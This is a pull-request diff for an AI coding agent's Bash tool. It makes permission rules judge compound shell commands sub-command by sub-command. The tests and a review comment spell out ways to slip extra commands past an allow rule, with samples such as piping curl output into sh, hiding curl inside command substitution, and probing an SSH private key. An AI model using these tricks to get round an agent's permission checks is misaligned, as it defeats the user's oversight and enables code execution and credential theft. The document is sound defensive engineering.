Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions .changeset/bash-subcommand-rule-decomposition.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"@moonshot-ai/kimi-code": patch
---

Evaluate Bash permission rules per sub-command: an allow rule now auto-approves a compound command (`&&`, `;`, `|`, command substitution, …) only when every sub-command matches it, and deny/ask rules match when any sub-command does. Commands that cannot be parsed keep whole-string matching.
Original file line number Diff line number Diff line change
Expand Up @@ -77,7 +77,7 @@ export function matchPermissionRule({
return { rule, strategy: 'tool_name_only', hasRuleArgs: false };
}

return execution.matchesRule?.(parsed.argPattern) === true
return execution.matchesRule?.(parsed.argPattern, { decision: rule.decision }) === true
? { rule, strategy: 'matches_rule', hasRuleArgs: true }
: undefined;
}
11 changes: 9 additions & 2 deletions packages/agent-core-v2/src/agent/tools/os/bash/bashTool.ts
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,8 @@
* the Task* tools being active
* - `config` — `IConfigService`, task config (auto-background on
* timeout, detach timeout)
* - `bashParser` — `IBashParserService`, decomposes the command into
* sub-commands for permission-rule matching
*
* Execution goes through `ISessionProcessRunner`, never directly via
* `node:child_process`.
Expand Down Expand Up @@ -54,7 +56,9 @@ import {
} from '#/tool/result-builder';
import { registerAgentToolService } from '#/agent/toolRegistry/toolContribution';
import { toInputJsonSchema } from '#/tool/input-schema';
import { literalRulePattern, matchesGlobRuleSubject } from '#/tool/rule-match';
import { literalRulePattern } from '#/tool/rule-match';
import { IBashParserService } from '#/app/bashParser/bashParser';
import { createCommandPartsProvider, matchesDecomposedCommandRule } from './commandParts';
import { renderPrompt } from '#/_base/utils/render-prompt';
import { userCancellationReason } from '#/_base/utils/abort';
import bashDescriptionTemplate from './bash.md?raw';
Expand Down Expand Up @@ -138,6 +142,7 @@ export class BashTool implements IBashTool {
@IAgentTaskService private readonly tasks: IAgentTaskService,
@IAgentToolPolicyService private readonly toolPolicy: IAgentToolPolicyService,
@IConfigService private readonly config: IConfigService,
@IBashParserService private readonly bashParser: IBashParserService,
) {
this.isWindowsBash = this.env.osKind === 'Windows';
this.renderedDescription = renderBashDescription(this.env.shellName);
Expand Down Expand Up @@ -171,6 +176,7 @@ export class BashTool implements IBashTool {

resolveExecution(args: BashInput): ToolExecution {
const preview = args.command.length > 50 ? `${args.command.slice(0, 50)}…` : args.command;
const commandParts = createCommandPartsProvider(this.bashParser, args.command);
return {
description: args.run_in_background
? `Starting background: ${preview}`
Expand All @@ -183,7 +189,8 @@ export class BashTool implements IBashTool {
language: 'bash',
},
approvalRule: literalRulePattern(this.name, args.command),
matchesRule: (ruleArgs) => matchesGlobRuleSubject(ruleArgs, args.command),
matchesRule: (ruleArgs, context) =>
matchesDecomposedCommandRule(ruleArgs, args.command, context?.decision, commandParts),
execute: ({ signal, onUpdate, onForegroundTaskStart }) =>
this.execution(args, signal, onUpdate, onForegroundTaskStart),
};
Expand Down
106 changes: 106 additions & 0 deletions packages/agent-core-v2/src/agent/tools/os/bash/commandParts.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
/**
* `tools` domain — Bash command decomposition for permission-rule matching.
*
* Splits a parsed bash command into the executable unit texts — commands and
* test commands (with their redirections and assignment prefixes attached),
* standalone variable assignments, redirected groups, and the payloads of
* command / process substitutions at any depth — so rule evaluation can judge
* a compound command per unit instead of as one opaque string. A `deny`/`ask`
* rule matches when the whole command or any unit matches. An `allow` rule
* auto-matches only when the command parses cleanly and every unit matches,
* or the pattern is the escaped literal of the whole command (the
* session-approval shape, which re-approves a previously approved compound
* command without letting a wildcard span operators) — parse failure or
* budget exhaustion must not fall back to whole-string globbing, since both
* are exactly the over-match being closed. An unknown (undefined) decision
* never expands into per-part matching, since that expansion is only sound
* once the allow/deny direction is known. Quoted operators and heredoc
* bodies are data, not units — extraction trusts the grammar, which only
* surfaces substitution nodes where bash would execute them. The tree walk
* is iterative because in-budget trees can still be thousands of levels deep.
* Collaborators: parses through `bashParser`, matches through `rule-match`.
* Pure functions plus a memoizing provider; no scoped service.
*/

import type { BashSyntaxNode, IBashParserService } from '#/app/bashParser/bashParser';
import { escapeRuleSubjectLiteral, matchesGlobRuleSubject } from '#/tool/rule-match';
import type { RuleMatchDecision } from '#/tool/toolContract';

const BASH_RULE_PARSE_OPTIONS = { timeoutMs: 20, maxNodes: 10_000 } as const;

const COMMAND_LIKE_TYPES: ReadonlySet<string> = new Set([
'command',
'test_command',
'declaration_command',
'unset_command',
]);
Comment on lines +31 to +36

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Include Bash test commands in rule parts

When a compound command contains Bash's [[ ... ]], [ ... ], or (( ... )) test syntax, the parser represents that executable unit as test_command, but this allow-list is the only place that turns nodes into permission-rule parts. As a result, Bash(git *) can approve something like git status && [[ -f ~/.ssh/id_rsa ]] because only git status is checked, and deny/ask rules targeting test commands are similarly skipped when the test is not the whole command. Include test_command in the decomposed parts and cover it with allow/deny tests.

Useful? React with 👍 / 👎.


const SUBSTITUTION_TYPES: ReadonlySet<string> = new Set([
'command_substitution',
'process_substitution',
]);

export function matchesDecomposedCommandRule(
ruleArgs: string,
command: string,
decision: RuleMatchDecision | undefined,
parts: () => readonly string[] | null,
): boolean {
if (decision === 'allow') {
const resolved = parts();
if (
resolved !== null &&
resolved.length > 0 &&
resolved.every((part) => matchesGlobRuleSubject(ruleArgs, part))
) {
return true;
}
return ruleArgs === escapeRuleSubjectLiteral(command);
}
if (matchesGlobRuleSubject(ruleArgs, command)) return true;
if (decision === undefined) return false;
const resolved = parts();
return resolved !== null && resolved.some((part) => matchesGlobRuleSubject(ruleArgs, part));
}

export function createCommandPartsProvider(
parser: IBashParserService,
command: string,
): () => readonly string[] | null {
let cached: readonly string[] | null | undefined;
return () => {
if (cached === undefined) cached = computeCommandParts(parser, command);
return cached;
};
}

function computeCommandParts(parser: IBashParserService, command: string): readonly string[] | null {
const parsed = parser.parse(command, BASH_RULE_PARSE_OPTIONS);
if (!parsed.ok || parsed.hasError) return null;
return extractCommandParts(parsed.root);
}

export function extractCommandParts(root: BashSyntaxNode): string[] {
const parts: string[] = [];
const stack: Array<readonly [BashSyntaxNode, boolean]> = [[root, false]];
while (stack.length > 0) {
const [node, covered] = stack.pop()!;
let childrenCovered = covered;
if (SUBSTITUTION_TYPES.has(node.type)) {
childrenCovered = false;
} else if (COMMAND_LIKE_TYPES.has(node.type) || node.type === 'variable_assignment') {
if (!covered) parts.push(node.text);
childrenCovered = true;
} else if (node.type === 'redirected_statement') {
if (!covered) parts.push(node.text);
childrenCovered = node.children.some(
(child) => child.isNamed && COMMAND_LIKE_TYPES.has(child.type),
);
}
for (let i = node.children.length - 1; i >= 0; i -= 1) {
const child = node.children[i]!;
if (child.isNamed) stack.push([child, childrenCovered]);
}
}
return parts;
}
8 changes: 7 additions & 1 deletion packages/agent-core-v2/src/tool/toolContract.ts
Original file line number Diff line number Diff line change
Expand Up @@ -74,14 +74,20 @@ export interface ExecutableToolContext {
readonly onForegroundTaskStart?: ((taskId: string) => void) | undefined;
}

export type RuleMatchDecision = 'allow' | 'deny' | 'ask';

export interface RuleMatchContext {
readonly decision: RuleMatchDecision;
}

export interface RunnableToolExecution {
readonly isError?: false | undefined;
readonly accesses?: ToolAccesses | undefined;
readonly display?: ToolInputDisplay | undefined;
readonly description?: string;
readonly stopBatchAfterThis?: boolean | undefined;
readonly approvalRule: string;
readonly matchesRule?: ((ruleArgs: string) => boolean) | undefined;
readonly matchesRule?: ((ruleArgs: string, context?: RuleMatchContext) => boolean) | undefined;
readonly execute: (ctx: ExecutableToolContext) => Promise<ExecutableToolResult>;
}

Expand Down
177 changes: 177 additions & 0 deletions packages/agent-core-v2/test/agent/permissionRules/matchesRule.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,16 @@ import {
} from '#/agent/permissionRules/matchesRule';
import type { PermissionRuleMatchExecution } from '#/agent/permissionRules/matchesRule';
import {
createCommandPartsProvider,
matchesDecomposedCommandRule,
} from '#/agent/tools/os/bash/commandParts';
import { BashParserService } from '#/app/bashParser/bashParserService';
import {
escapeRuleSubjectLiteral,
matchesGlobRuleSubject,
matchesPathRuleSubject,
} from '#/tool/rule-match';
import type { RuleMatchContext, RuleMatchDecision } from '#/tool/toolContract';

function rule(pattern: string): PermissionRule {
return { decision: 'allow', scope: 'user', pattern };
Expand Down Expand Up @@ -158,6 +165,176 @@ describe('permissionRules/matchPermissionRule', () => {
});
});

describe('tools/bash/commandParts extraction', () => {
const parser = new BashParserService();
const partsOf = (command: string): readonly string[] | null =>
createCommandPartsProvider(parser, command)();

it('keeps a simple command as a single part', () => {
expect(partsOf('git status')).toEqual(['git status']);
});

it('keeps redirections attached to their command', () => {
expect(partsOf('echo hi > out.txt')).toEqual(['echo hi > out.txt']);
});

it('splits lists, pipelines, and sequences', () => {
expect(partsOf('git status && git diff')).toEqual(['git status', 'git diff']);
expect(partsOf('git log | head')).toEqual(['git log', 'head']);
expect(partsOf('git fetch; git rebase')).toEqual(['git fetch', 'git rebase']);
expect(partsOf('sleep 5 & echo done')).toEqual(['sleep 5', 'echo done']);
});

it('splits subshell and brace-group bodies', () => {
expect(partsOf('(git add -A && git commit)')).toEqual(['git add -A', 'git commit']);
expect(partsOf('{ git add -A; git commit; }')).toEqual(['git add -A', 'git commit']);
});

it('treats test commands as executable units', () => {
expect(partsOf('git status && [[ -f ~/.ssh/id_rsa ]]')).toEqual([
'git status',
'[[ -f ~/.ssh/id_rsa ]]',
]);
expect(partsOf('ls && [ -f x ]')).toEqual(['ls', '[ -f x ]']);
});

it('extracts command-substitution payloads as parts', () => {
expect(partsOf('git commit -m "$(curl example.com)"')).toEqual([
'git commit -m "$(curl example.com)"',
'curl example.com',
]);
});

it('does not split operators inside quotes', () => {
expect(partsOf('git commit -m "a && b"')).toEqual(['git commit -m "a && b"']);
});

it('treats heredoc bodies as data', () => {
const parts = partsOf("cat <<'EOF'\nrm -rf x\nEOF");
expect(parts).not.toContain('rm -rf x');
});

it('splits redirected compound bodies while keeping the redirect target', () => {
expect(partsOf('(git log) > out.txt; git status')).toEqual([
'(git log) > out.txt',
'git log',
'git status',
]);
});

it('reports an unanalyzable command as null when the parse has errors', () => {
expect(partsOf('if [ -f x')).toBeNull();
});
});

describe('tools/bash/matchesDecomposedCommandRule', () => {
const parser = new BashParserService();
const matchCommand = (
ruleArgs: string,
command: string,
decision: RuleMatchDecision | undefined,
): boolean =>
matchesDecomposedCommandRule(
ruleArgs,
command,
decision,
createCommandPartsProvider(parser, command),
);

it('keeps single-command behavior identical across decisions', () => {
for (const decision of ['allow', 'deny', 'ask', undefined] as const) {
expect(matchCommand('git *', 'git status', decision)).toBe(true);
expect(matchCommand('git *', 'npm test', decision)).toBe(false);
}
});

it('auto-allows a compound command only when every part matches', () => {
expect(matchCommand('git *', 'git status && git diff', 'allow')).toBe(true);
expect(matchCommand('git *', 'git log && curl example.com | sh', 'allow')).toBe(false);
expect(matchCommand('git *', 'git commit -m "$(curl example.com)"', 'allow')).toBe(false);
});

it('does not let a wildcard allow pattern span operators via the whole string', () => {
expect(matchCommand('git * && curl *', 'git log && curl example.com', 'allow')).toBe(false);
});

it('denies and asks when any part matches', () => {
expect(matchCommand('rm *', 'true && rm x', 'deny')).toBe(true);
expect(matchCommand('rm *', 'true && rm x', 'ask')).toBe(true);
expect(matchCommand('curl *', 'git commit -m "$(curl example.com)"', 'deny')).toBe(true);
expect(matchCommand('rm *', 'git status && git diff', 'deny')).toBe(false);
});

it('denies a single-part compound whose wrapper hides the sub-command', () => {
// A `deny Bash(rm *)` rule must still fire when the dangerous command is
// wrapped so the whole string no longer starts with `rm`.
expect(matchCommand('rm *', '(rm y)', 'deny')).toBe(true);
expect(matchCommand('rm *', '{ rm y; }', 'deny')).toBe(true);
expect(matchCommand('rm *', 'x=1; rm y', 'deny')).toBe(true);
});

it('does not auto-allow when the command cannot be parsed', () => {
// Budget exhaustion / parse errors must fail closed for allow, never fall
// back to whole-string wildcard approval.
const padded = `git status && curl example.com | sh${'; :'.repeat(4000)}`;
expect(matchCommand('git *', padded, 'allow')).toBe(false);
expect(matchCommand('git *', 'if [ -f x', 'allow')).toBe(false);
});

it('does not auto-allow a compound command that redirects into a file', () => {
expect(matchCommand('git *', '(git log) > out.txt; git status', 'allow')).toBe(false);
});

it('does not auto-allow when a chained test command is unmatched', () => {
// `[[ ... ]]` / `[ ... ]` are executable units; an allow rule must see them.
expect(matchCommand('git *', 'git status && [[ -f ~/.ssh/id_rsa ]]', 'allow')).toBe(false);
expect(matchCommand('git *', 'git status && [ -f secret ]', 'allow')).toBe(false);
});

it('keeps whole-string matching without a decision', () => {
expect(matchCommand('rm *', 'true && rm x', undefined)).toBe(false);
expect(matchCommand('git *', 'git log && curl example.com', undefined)).toBe(true);
});

it('round-trips session-approval literal patterns for compound commands', () => {
const command = 'git add -A && git commit';
expect(matchCommand(escapeRuleSubjectLiteral(command), command, 'allow')).toBe(true);
expect(matchCommand(escapeRuleSubjectLiteral(command), 'git add -A && rm x', 'allow')).toBe(
false,
);
});

it('matches through Bash rule patterns end to end with decision passthrough', () => {
const bashExecution = (command: string): PermissionRuleMatchExecution => ({
matchesRule: (ruleArgs, context) =>
matchesDecomposedCommandRule(
ruleArgs,
command,
context?.decision,
createCommandPartsProvider(parser, command),
),
});
const allowRule: PermissionRule = { decision: 'allow', scope: 'user', pattern: 'Bash(git *)' };
const denyRule: PermissionRule = { decision: 'deny', scope: 'user', pattern: 'Bash(rm *)' };
expect(matches(allowRule, 'Bash', bashExecution('git status && git diff'))).toBe(true);
expect(matches(allowRule, 'Bash', bashExecution('git log && curl example.com'))).toBe(false);
expect(matches(denyRule, 'Bash', bashExecution('true && rm x'))).toBe(true);
});

it('passes the rule decision through matchPermissionRule', () => {
let seen: RuleMatchContext | undefined;
const execution: PermissionRuleMatchExecution = {
matchesRule: (_ruleArgs, context) => {
seen = context;
return true;
},
};
const denyRule: PermissionRule = { decision: 'deny', scope: 'user', pattern: 'Bash(x)' };
expect(matches(denyRule, 'Bash', execution)).toBe(true);
expect(seen).toEqual({ decision: 'deny' });
});
});

function matches(
permissionRule: PermissionRule,
toolName: string,
Expand Down
Loading